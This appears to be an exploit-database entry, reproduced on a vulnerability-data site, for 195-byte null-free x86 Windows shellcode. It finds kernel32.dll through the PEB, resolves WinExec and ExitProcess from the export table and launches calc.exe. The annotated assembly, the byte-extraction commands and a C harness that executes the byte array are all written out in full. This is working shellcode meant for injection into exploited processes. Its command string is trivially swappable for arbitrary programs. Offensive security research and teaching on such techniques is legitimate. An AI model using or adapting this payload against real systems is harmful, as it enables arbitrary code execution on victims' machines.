# Title: Windows\x86 - Null-Free WinExec Calc.exe Shellcode (195 bytes)
# Shellcode Author: Bobby Cooke
# Technique: PEB & Export Directory Table
# Tested On: Windows 10 Pro (x86) 10.0.18363 Build 18363
_start:
; Create a new stack frame
mov ebp, esp ; Set base stack pointer for new stack-frame
sub esp, 0x20 ; Decrement the stack by 32 bytes
; Find kernel32.dll base address
xor ebx, ebx ; EBX = 0x00000000
mov ebx, [fs:ebx+0x30] ; EBX = Address_of_PEB
mov ebx, [ebx+0xC] ; EBX = Address_of_LDR
mov ebx, [ebx+0x1C] ; EBX = 1st entry in InitOrderModuleList / ntdll.dll
mov ebx, [ebx] ; EBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov ebx, [ebx] ; EBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov eax, [ebx+0x8] ; EAX = &kernel32.dll / Address of kernel32.dll
mov [ebp-0x4], eax ; [EBP-0x04] = &kernel32.dll
; Find the address of the WinExec Symbol within kernel32.dll
; + The hex values will change with different versions of Windows
; Find the address of the Export Table within kernel32.dll
mov ebx, [eax+0x3C] ; EBX = Offset NewEXEHeader = 0xF8
add ebx, eax ; EBX = &NewEXEHeader = 0xF8 + &kernel32.dll
mov ebx, [ebx+0x78] ; EBX = RVA ExportTable = 0x777B0 = [&NewExeHeader + 0x78]
add ebx, eax ; EBX = &ExportTable = RVA ExportTable + &kernel32.dll
; Find the address of the Name Pointer Table within kernel32.dll
; + Contains pointers to strings of function names - 4-byte/dword entries
mov edi, [ebx+0x20] ; EDI = RVA NamePointerTable = 0x790E0
add edi, eax ; EDI = &NamePointerTable = 0x790E0 + &kernel32.dll
mov [ebp-0x8], edi ; save &NamePointerTable to stack frame
; Find the address of the Ordinal Table
; - 2-byte/word entries
mov ecx, [ebx+0x24] ; ECX = RVA OrdinalTable = 0x7A9E8
add ecx, eax ; ECX = &OrdinalTable = 0x7A9E8 + &kernel32.dll
mov [ebp-0xC], ecx ; save &OrdinalTable to stack-frame
; Find the address of the Address Table
mov edx, [ebx+0x1C] ; EDX = RVA AddressTable = 0x777CC
add edx, eax ; EDX = &AddressTable = 0x777CC + &kernel32.dll
mov [ebp-0x10], edx ; save &AddressTable to stack-frame
; Find Number of Functions within the Export Table of kernel32.dll
mov edx, [ebx+0x14] ; EDX = Number of Functions = 0x642
mov [ebp-0x14], edx ; save value of Number of Functions to stack-frame
jmp short functions
findFunctionAddr:
; Initialize the Counter to prevent infinite loop
xor eax, eax ; EAX = Counter = 0
mov edx, [ebp-0x14] ; get value of Number of Functions from stack-frame
; Loop through the NamePointerTable and compare our Strings to the Name Strings of kernel32.dll
searchLoop:
mov edi, [ebp-0x8] ; EDI = &NamePointerTable
mov esi, [ebp+0x18] ; ESI = Address of String for the Symbol we are searching for
xor ecx, ecx ; ECX = 0x00000000
cld ; clear direction flag - Process strings from left to right
mov edi, [edi+eax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add edi, [ebp-0x4] ; EDI = &NameString = RVA NameString + &kernel32.dll
add cx, 0x8 ; ECX = len("WinExec,0x00") = 8 = 7 char + 1 Null
repe cmpsb ; compare first 8 bytes of [&NameString] to "WinExec,0x00"
jz found ; If string at [&NameString] == "WinExec,0x00", then end loop
inc eax ; else Counter ++
cmp eax, edx ; Does EAX == Number of Functions?
jb searchLoop ; If EAX != Number of Functions, then restart the loop
found:
; Find the address of WinExec by using the last value of the Counter
mov ecx, [ebp-0xC] ; ECX = &OrdinalTable
mov edx, [ebp-0x10] ; EDX = &AddressTable
mov ax, [ecx + eax*2] ; AX = ordinalNumber = [&OrdinalTable + (Counter*2)]
mov eax, [edx + eax*4] ; EAX = RVA WinExec = [&AddressTable + ordinalNumber]
add eax, [ebp-0x4] ; EAX = &WinExec = RVA WinExec + &kernel32.dll
ret
functions:
; Create string 'WinExec\x00' on the stack and save its address to the stack-frame
mov edx, 0x63657878 ; "cexx"
shr edx, 8 ; Shifts edx register to the right 8 bits
push edx ; "\x00,cex"
push 0x456E6957 ; EniW : 456E6957
mov [ebp+0x18], esp ; save address of string 'WinExec\x00' to the stack-frame
call findFunctionAddr ; After Return EAX will = &WinExec
; Call WinExec( CmdLine, ShowState );
; CmdLine = "calc.exe"
; ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
xor ecx, ecx ; clear eax register
push ecx ; string terminator 0x00 for "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163
mov ebx, esp ; save pointer to "calc.exe" string in eax
inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001
push ecx ; uCmdShow - push 0x1 to stack # 2nd argument
push ebx ; lpcmdLine - push string address stack # 1st argument
call eax ; Call the WinExec Function
; Create string 'ExitProcess\x00' on the stack and save its address to the stack-frame
xor ecx, ecx ; clear eax register
mov ecx, 0x73736501 ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string
shr ecx, 8 ; ecx = "ess",0x00 // shr shifts the register right 8 bits
push ecx ; sse : 00737365
push 0x636F7250 ; corP : 636F7250
push 0x74697845 ; tixE : 74697845
mov [ebp+0x18], esp ; save address of string 'ExitProcess\x00' to stack-frame
call findFunctionAddr ; After Return EAX will = &ExitProcess
; Call ExitProcess(ExitCode)
xor edx, edx
push edx ; ExitCode = 0
call eax ; ExitProcess(ExitCode)
; nasm -f win32 win32-WinExec_Calc-Exit.asm -o win32-WinExec_Calc-Exit.o
; for i in $(objdump -D win32-WinExec_Calc-Exit.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
#####################################################################################
#include <windows.h>
#include <stdio.h>
char code[] = \
"\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
"\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
"\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
"\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
"\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
"\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
"\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
"\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
"\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
"\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
"\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
"\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
"\x52\xff\xd0";
int main(int argc, char **argv)
{
int (*func)();
func = (int(*)()) code;
(int)(*func)();
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation